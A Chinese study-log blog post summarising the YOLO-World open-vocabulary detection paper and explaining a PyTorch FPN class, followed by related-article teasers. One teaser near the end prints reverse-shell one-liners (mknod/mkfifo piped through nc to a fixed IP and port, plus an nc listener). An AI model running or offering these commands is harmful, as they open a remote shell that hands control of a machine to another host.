YOLO世界:实时开放词汇对象检测

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 摘要
  • Abstract
  • 文献阅读:YOLO世界:实时开放词汇对象检测
    • 1、研究背景
    • 2、提出方法
    • 3、相关技术
      • 3.1、Re-parameterizable Vision-Language Path Aggregation Network (RepVL-PAN)
      • 3.2、 Region-Text Contrastive Loss
    • 4、工作总结
      • 4.1、实现细节
      • 4.2、相关实验
  • 二、YOLO模型FPN(特征金字塔)代码学习
    • 1、FPN(特征金字塔)
      • 1.1、什么是FPN
      • 1.2、实现的方法
  • 总结


摘要

本周主要阅读了CVPR文章,YOLO-World: Real-Time Open-Vocabulary Object Detection。是一种先进的实时开放词汇对象检测系统,它基于流行的 YOLO(You Only Look Once)对象检测框架。YOLO-World 的设计目标是提高检测效率和对开放词汇的识别能力,即能够检测在训练阶段未见过的对象类别,通过引入了 Re-parameterizable Vision-Language Path Aggregation Network(RepVL-PAN)结构将图像与文本进行融合,从而让图像与文本形成“交流”。除此之外,还学习学习了yolo中的FPN结构。

Abstract

This week, I mainly read the CVPR paper “YOLO-World: Real-Time Open-Vocabulary Object Detection.” It is an advanced real-time open-vocabulary object detection system that is based on the popular YOLO (You Only Look Once) object detection framework. The design goal of YOLO-World is to enhance detection efficiency and recognition capabilities for open-vocabulary objects, that is, to be able to detect object categories not seen during the training phase. By introducing the Re-parameterizable Vision-Language Path Aggregation Network (RepVL-PAN) structure, it fuses images with text, enabling a “dialogue” between the visual and textual information. In addition to this, I also studied the FPN (Feature Pyramid Network) structure within YOLO.


文献阅读:YOLO世界:实时开放词汇对象检测

Title: YOLO-World: Real-Time Open-Vocabulary Object Detection
Author:Tianheng Cheng ,Lin Song1,Yixiao Ge,Wenyu Liu3, Xinggang Wang3,Ying Shan
From:2024 IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR)

1、研究背景

在计算机视觉领域,传统的对象检测方法,如 YOLO 系列,尽管在固定词汇检测上取得了显著成果,但它们的能力受限于预定义的对象类别。这种局限性在开放词汇检测(OVD)任务中尤为明显,该任务要求模型能够识别训练阶段未出现过的新对象类别。开放词汇检测面临的挑战包括训练数据的稀缺性、计算资源的高需求、以及在边缘设备上的复杂部署问题。此外,实时性能的需求使得检测器的效率和速度变得同样重要。为了克服这些限制,YOLO-World 通过视觉-语言建模和大规模数据集上的预训练,提出了一种创新的方法,以增强 YOLO 检测器的开放词汇检测能力。该方法利用跨模态学习,将视觉信息与语言描述相结合,以提高模型对新对象类别的识别能力,同时保持高效率和易于部署的特性,满足实时应用的需求。

2、提出方法

为了解决这个问题,作者提出了 YOLO-World,这是一个创新的方法,通过结合先进的视觉-语言技术和高效的 YOLO 架构,了一个能够处理开放词汇检测任务的实时系统。它通过视觉-语言路径聚合网络(RepVL-PAN)和区域-文本对比损失的方法,用跨模态学习,将视觉信息与语言描述相结合,增强了视觉和语言信息之间的交互,以提高模型对新对象类别的识别能力,同时保持高效率和易于部署的特性,满足实时应用的需求。
在这里插入图片描述

3、相关技术

3.1、Re-parameterizable Vision-Language Path Aggregation Network (RepVL-PAN)

RepVL-PAN,即 Re-parameterizable Vision-Language Path Aggregation Network,是 YOLO-World 系统中的一个关键组件,来实现图像和文字的连接。RepVL-PAN 的核心思想是利用视觉和语言信息之间的交互来增强模型对开放词汇的检测能力,旨在增强模型在处理视觉和语言信息时的性能。RepVL-PAN 利用跨模态融合技术将文本嵌入与图像特征结合起来。具体来说,如下图所示,它包括以下几个关键组件:

  • Text-guided CSPLayer (T-CSPLayer):这是一个扩展的 CSPLayer,它通过在多尺度图像特征中加入文本引导,来增强图像特征。
  • Image-Pooling Attention (I-Pooling Attention):这个组件通过在多尺度特征上执行最大池化操作来聚合图像特征,并更新文本嵌入,使其包含图像感知信息。
    在这里插入图片描述

3.2、 Region-Text Contrastive Loss

区域-文本对比损失(Region-Text Contrastive Loss)是 YOLO-World 系统中用于训练的一个关键损失函数,它旨在学习图像区域和对应文本描述之间的相似性。这种损失函数有助于模型更好地理解图像内容和相关文本之间的关系,从而提高开放词汇对象检测的性能。以下是几个关键步骤:

  • 生成区域-文本对:在训练阶段,模型首先需要生成区域-文本对。这通常涉及到使用图像中的对象检测器(如 YOLO)来识别图像中的区域(即潜在的对象位置),并将这些区域与相应的文本描述(如对象的类别名称或描述性短语)配对。
  • 计算相似性得分:对于每个区域-文本对,模型计算区域特征(通常是图像特征的嵌入表示)和文本特征(文本嵌入)之间的相似性得分。这可以通过计算两者之间的点积、余弦相似度或其他相似性度量来实现。
  • 构建对比损失:对比损失函数旨在优化正样本对(正确的区域-文本配对)的相似性,同时推远负样本对(随机或错误配对的区域-文本配对)的相似性。这通常通过一个对比损失函数来实现,如三元组损失(Triplet Loss)或对比损失(Contrastive Loss),它们惩罚模型如果对正样本对的相似性得分低于某个阈值或低于负样本对的相似性得分。

4、工作总结

4.1、实现细节

YOLO-World 是基于 MMYOLO 工具箱和 MMDetection 工具箱开发的,总共提供了三种不同延迟要求的 YOLO-World 变体,即小型(S)、中型(M)和大型(L)。模型采用了开源的 CLIP 文本编码器及其预训练权重来编码输入文本。模型在 NVIDIA V100 GPU 上的测试中达到了每秒 52.0 帧(FPS)的处理速度,并在 LVIS 数据集上取得了 35.4 的平均精度(AP)。这一结果在速度和准确性方面都优于许多现有的最先进方法。
在这里插入图片描述

4.2、相关实验

  • 零样本性能:在零样本设置下,YOLO-World 在 LVIS minival 数据集上的测试结果显示,它能够有效地检测在训练阶段未见过的对象类别,这表明了其强大的泛化能力。除此之外,YOLO-World 在微调后不仅在对象检测任务上表现出色,还在开放词汇实例分割等更复杂的下游任务上展现了良好的性能

  • 预训练数据的影响:通过在不同规模的预训练数据上评估 YOLO-World,论文发现增加预训练数据的量可以显著提高模型在大规模词汇检测任务中的性能,下图为预训练所使用的数据集。
    在这里插入图片描述

  • 消融实验:通过一系列消融实验,论文分析了 YOLO-World 的关键组件,如 RepVL-PAN 和文本编码器,对模型性能的影响,证明了这些组件在提高模型性能中的重要性。
    在这里插入图片描述

二、YOLO模型FPN(特征金字塔)代码学习

1、FPN(特征金字塔)

1.1、什么是FPN

特征金字塔的核心思想是利用深度神经网络的不同层级来捕捉图像的不同尺度的特征。底层捕捉到的是高分辨率但语义信息较浅的特征,而高层捕捉到的是低分辨率但语义信息较深的特征。通过结合这些不同层级的特征,可以构建出一个包含多尺度信息的特征金字塔。

1.2、实现的方法

以下代码中,FPN 类接收输入特征 x,这些特征可以是多个尺度的特征图的元组。输入为C3, C4, C5的尺寸,通过P3、P4、P5的的采样卷积处理,最后通过特征融合,获取到三个不同层次的特征总和。

class YOLOFPN(nn.Module):  
    def __init__(self, C3_size, C4_size, C5_size, feature_size=256):  
        super(YOLOFPN, self).__init__()  
  
        # P5层由C5经过1x1卷积得到  
        self.P5_1 = nn.Conv2d(C5_size, feature_size, kernel_size=1, stride=1, padding=0)  
        # P5上采样,使用最近邻插值将特征图尺寸放大两倍  
        self.P5_upsampled = nn.Upsample(scale_factor=2, mode='nearest')  
        # P5层再经过3x3卷积增强特征表示  
        self.P5_2 = nn.Conv2d(feature_size, feature_size, kernel_size=3, stride=1, padding=1)  
  
        # P4层由P5上采样后的特征和C4的特征融合得到  
        self.P4_1 = nn.Conv2d(C4_size, feature_size, kernel_size=1, stride=1, padding=0)  
        # P4上采样,同样使用最近邻插值将特征图尺寸放大两倍  
        self.P4_upsampled = nn.Upsample(scale_factor=2, mode='nearest')  
        # P4层再经过3x3卷积增强特征表示  
        self.P4_2 = nn.Conv2d(feature_size, feature_size, kernel_size=3, stride=1, padding=1)  
  
        # P3层由P4上采样后的特征和C3的特征融合得到  
        self.P3_1 = nn.Conv2d(C3_size, feature_size, kernel_size=1, stride=1, padding=0)  
        # P3层经过3x3卷积增强特征表示  
        self.P3_2 = nn.Conv2d(feature_size, feature_size, kernel_size=3, stride=1, padding=1)  
  
    def forward(self, inputs):  
        # 前向传播函数,输入为C3, C4, C5的特征图  
        C3, C4, C5 = inputs  
  
        # 获取P5的特征图  
        P5_x = self.P5_1(C5)  
        P5_upsampled_x = self.P5_upsampled(P5_x)  
        P5_x = self.P5_2(P5_x)  
  
        # 获取P4的特征图,首先将P5上采样,然后与C4的特征融合  
        P5_x = F.relu(P5_upsampled_x)  # 对上采样后的P5特征图进行激活  
        P4_x = self.P4_1(C4)  
        P4_fused = P5_x + P4_x  # 特征融合,通过元素相加  
        P4_upsampled_x = self.P4_upsampled(P4_fused)  
        P4_x = self.P4_2(P4_fused)  # 对融合后的P4特征图进行卷积操作  
  
        # 获取P3的特征图,首先将P4上采样,然后与C3的特征融合  
        P4_x = F.relu(P4_upsampled_x)  # 对上采样后的P4特征图进行激活  
        P3_x = self.P3_1(C3)  
        P3_fused = P4_x + P3_x  # 特征融合,通过元素相加  
        P3_x = self.P3_2(P3_fused)  # 对融合后的P3特征图进行卷积操作  
  
        # 返回P3, P4, P5的特征图列表  
        return [P3_x, P4_x, P5_x]  

总结

本周主要阅读了CVPR文章,YOLO-World: Real-Time Open-Vocabulary Object Detection。是一种先进的实时开放词汇对象检测系统,它基于流行的 YOLO(You Only Look Once)对象检测框架。YOLO-World 的设计目标是提高检测效率和对开放词汇的识别能力,即能够检测在训练阶段未见过的对象类别,通过引入了 Re-parameterizable Vision-Language Path Aggregation Network(RepVL-PAN)结构将图像与文本进行融合,从而让图像与文本形成“交流”。除此之外,还学习学习了yolo中的FPN结构。下周继续学习!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/562174.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL中InnoDB存储引擎详细介绍

介绍 InnoDB是一种兼顾高可靠性高和高性能的通用存储引擎,在MySQL5.5之后,InnoDB是默认的MySQL存储引擎。 特点 DML(增删改)操作遵循ACID(事务四大特性)模型,支持事务;行级锁,提高并发访问性能支持外链FORELGN KEY约…

Jenkins服务器IP更换,Jenkins URL地址更换

服务器的网络地址发生变动,修改jenkins服务器IP地址后,jenkins网页能够打开,但是job中的配置钩子没有自动改变,如图所示: 经过查询资料了解,需要修改jenkins本地化配置地址才可以显示正确: 1、…

2024最好用的11个AI搜索引擎工具盘点!

0. 未来百科 未来百科,最大的 中文AI 产品导航网站 —— 为发现全球优质 AI 工具而生 。目前已 聚集全球 10000优质 AI 工具产品 ,旨在帮助用户发现全球最好的 AI 工具,同时为研发 AI 垂直应用的创业公司提供展示窗口,迎接未来的…

如何在群晖NAS部署office系统办公服务并实现无公网IP远程编辑文件

文章目录 本教程解决的问题是:1. 本地环境配置2. 制作本地分享链接3. 制作公网访问链接4. 公网ip地址访问您的分享相册5. 制作固定公网访问链接 本教程解决的问题是: 1.Word,PPT,Excel等重要文件存在本地环境,如何在编…

【001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂】

001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂 文章目录 001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂创作背景通信模型ISO/OSI七层模型 和 TCP/IP四层模型网络通信数据包格式(Ethernet II&…

Linux SDIO-WiFi 协议栈

Linux SDIO-WiFi 协议栈 1. 简介2. BCMDHD2.1 WiFi模组 1. 简介 2. BCMDHD BCMDHD:Broadcom Dongle Host DriverSIP:System In Package 2.1 WiFi模组

互连芯片浪潮席卷AI服务器:突破瓶颈,再创辉煌

改变AI服务器:互连芯片技术创新和突破 AI服务器崛起,引领未来创新根据TrendForce数据,AI服务器出货量达130,000台,占服务器总出货量的1%。主要制造商推出生成式AI产品,推动订单激增。ChatGPT等应用的需求持续增长&…

html2Canvas截图包含滚动条解决思路

概况描述 在项目中使用html2Canvas进行截图时发现无法截取滚动条部分,前端是使用vue2的版本,网上找了很多方式都没效果,冷静思考后,给出解决办法。 解决思路 当我们截取的div容器的宽和高与内部的子容器div的宽和高不一样时,内部div就会出现滚动条,因为我们截取的div与…

OSPF的学习笔记

1.OSPF (1)链路状态路由协议的路由信息并不是像距离矢量路由协议那样(邻居告诉的),通过收集自身以及邻居发出的LSA(原材料),并LSA放到指定仓库里面(LSDB),通过SPF算法,以自己为根计算到达网络每个节点的最优…

【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理

💓 博客主页:从零开始的-CodeNinja之路 ⏩ 收录文章:【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理 🎉欢迎大家点赞👍评论📝收藏⭐文章 目录 Spring Boot 配置文件一. 配置文…

第65天:API攻防-接口安全WebPackRESTSOAPWSDLWebService

目录 思维导图 前置知识 案例一:WebService 类-Wsdl&ReadyAPI-SQL 注入 案例二:SOAP 类-Swagger&SoapUI&EXP-信息泄露 案例三:HTTP 类-WebPack&PackerFuzzer-信息泄露 思维导图 前置知识 RPC接口: 登录游戏时候登录账号…

细说会话三剑客: Cookie、Session和Token

0. 必要性论证 在日常的开发中,不管是前端或者后端领域,都绕不开用户状态和会话的管理方面的内容。因此有必要理解清楚三种技术的基本原理和使用场景以及三者之间的区别,当然,在面试过程中,这也是一个很常见的基本面试…

毕业设计——基于ESP32的智能家居系统(语音识别、APP控制)

ESP32嵌入式单片机实战项目 一、功能演示二、项目介绍1、功能演示2、外设介绍 三、资料获取 一、功能演示 多种控制方式 ① 语音控制 ②APP控制 ③本地按键控制 ESP32嵌入式单片机实战项目演示 二、项目介绍 1、功能演示 这一个基于esp32c3的智能家居控制系统,能实…

InFusion:通过从扩散先验学习深度完成来修复3D高斯

InFusion: Inpainting 3D Gaussians via Learning Depth Completion from Diffusion Prior InFusion:通过从扩散先验学习深度完成来修复3D高斯 Zhiheng Liu * 刘志恒 *1144Hao Ouyang * 欧阳浩 *2233Qiuyu Wang 王秋雨33Ka Leong Cheng 郑家亮2233Jie Xiao 街小…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中,找到“General”选项。在“General”选项中,找到“Localization”(界面语言)项。在下拉菜单中…

磁性呼吸传感技术与机器学习结合在COVID-19审断中的应用

介绍 呼吸不仅是人类生存的基础,而且其模式也是评估个体健康状态的关键指标。异常的呼吸模式往往是呼吸系统疾病的一个警示信号,包括但不限于慢性阻塞性肺病(COPD)、阻塞性睡眠呼吸暂停(OSA)、肺炎、囊性纤…

python免费调用阿里云通义千问(q-wen-max)大模型API

文章目录 通义千问开通免费API Keypython调用阿里云通义千问API 通义千问 通义千问,是基于阿里巴巴达摩院在自然语言处理领域的研究和积累。采用更先进的算法和更优化的模型结构,能够更准确地理解和生成自然语言、代码、表格等文本。 支持更多定制化需…

自媒体个人品牌IP策划打造孵化运营方案

【干货资料持续更新,以防走丢】 自媒体个人品牌IP策划打造孵化运营方案 部分资料预览 资料部分是网络整理,仅供学习参考。 ppt可编辑(完整资料包含以下内容)目录个人IP孵化方案概要: 1. 目标定位与市场分析 - 女性…

二叉树链式结构的实现-二叉树的前序 中序 后序 层序遍历

一、二叉树的结构了解 二叉树是: 空树非空:根节点,根节点的左子树、根节点的右子树组成的。 前序: 根 左子树 右子树 --》先根 中序:左子树 根 右子树 --》中根 后序:左子树 右子树 根 --》后根 层序&…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…